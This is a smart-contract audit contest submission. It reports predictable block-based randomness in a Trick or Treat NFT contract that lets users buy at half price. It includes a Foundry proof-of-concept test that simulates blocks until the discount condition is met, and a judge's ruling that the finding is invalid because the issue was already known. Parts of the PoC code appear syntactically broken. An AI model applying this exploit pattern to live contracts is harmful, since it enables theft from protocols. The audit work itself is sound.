Trick or Treat

First Flight #27
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: low
Invalid

Predictable RNG leads to 50% NFT price manipulation through `TrickOrTreat::trickOrTreat` function.

Summary

The TrickOrTreat::trickOrTreat function uses predictable variables (block.timestamp, msg.sender, nextTokenId, block.prevrandao) for its RNG implementation, allowing malicious users to calculate the exact random number in advance and consistently obtain NFTs at half-price.

Vulnerability Details

Critical RNG vulnerability in TrickOrTreat::trickOrTreat function allows users to predict the generated number and force NFT purchases at half price. This exploit undermines the intended pricing mechanism and could result in significant protocol losses. By correctly guessing the random number, attackers can repeatedly trigger discounted purchases, effectively creating a persistent price manipulation vector.

Here is the malicious code TrickOrTreat::TrickOrTreat function:

@> uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, nextTokenId, block.prevrandao))) % 1000 + 1;

Impact

Malicious users can exploit predictable RNG to purchase unlimited NFTs at 50% discount, leading to substantial financial losses and undermining the protocol's pricing mechanism.

Proof Of Concept

To create a test folder and a file named TestTrickOrTreat.t.sol for your Foundry project, you can follow these steps:

  • Create the test folder: Navigate to your project directory and create a test folder.

  • Create the TestTrickOrTreat.t.sol file: Inside the test folder, create a file named TestTrickOrTreat.t.sol.

  • Add the Foundry test code: Here’s an example of what you might include in your TestTrickOrTreat.t.sol file:

POC code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {SpookySwap} from "../src/TrickOrTreat.sol";
contract TrickOrTreatTest is Test {
SpookySwap public spookySwap;
address owner;
function setUp() public {
// Create an array of treats for initialization
owner = makeAddr("owner");
SpookySwap.Treat[] memory treats = new SpookySwap.Treat[]();
// Initialize treats with test data
treats[0] = SpookySwap.Treat({
name: "Ghostly Gummies",
cost: 0.01 ether,
metadataURI: "ipfs://QmX1x2x3/1"
});
treats[1] = SpookySwap.Treat({
name: "Witch's Brew",
cost: 0.02 ether,
metadataURI: "ipfs://QmX1x2x3/2"
});
treats[2] = SpookySwap.Treat({
name: "Zombie Zephyr",
cost: 0.015 ether,
metadataURI: "ipfs://QmX1x2x3/3"
});
// Deploy the contract with initial treats
vm.prank(owner);
spookySwap = new SpookySwap(treats);
}
function test_AttackerGuessRandomNumber(uint256 blockNumber) public {
uint256 nextTokenId = 1;
uint256 treatCost = 0.02 ether;
address attacker = payable(makeAddr("attacker"));
vm.deal(attacker, 1 ether);
uint attackerInitialBalance = attacker.balance;
string memory treatName = spookySwap.getTreats()[1];
// Init block
vm.assume(blockNumber < type(uint256).max / 12);
vm.roll(blockNumber);
vm.warp(blockNumber * 12);
uint256 random;
uint256 loop = 0;
do {
// Update block
loop++;
vm.roll(block.number + 1);
vm.warp(block.timestamp + 12);
vm.prevrandao(keccak256(abi.encodePacked(block.number)));
// generate the random number before calling the TrickOrTreat function
random = uint256(keccak256(abi.encodePacked(block.timestamp, attacker, nextTokenId, block.prevrandao))) % 1000 + 1;
if (random == 1 ) {
vm.prank(attacker);
spookySwap.trickOrTreat{value: treatCost}(treatName);
break;
}
} while (loop < 1000);
uint256 attackerFinalBalance = attacker.balance;
if (random == 1) {
assertEq(attackerFinalBalance + (treatCost/2), attackerInitialBalance);
assertEq(spookySwap.balanceOf(attacker), 1);
} else {
console.log("Do not find the random number that matches 1");
}
}
}
  • Then run the test on your terminal:

forge test --mt test_AttackerGuessRandomNumber -vvvv

Tools Used

Foundry test, Manual Review

Recommendations

Consider generating random numbers off-chain, either using services like Chainlink VRF or using your own internal server.

Updates

Appeal created

bube Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[invalid] Weak randomness

It's written in the README: "We're aware of the pseudorandom nature of the current implementation. This will be replaced with Chainlink VRF in later builds." This is a known issue.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.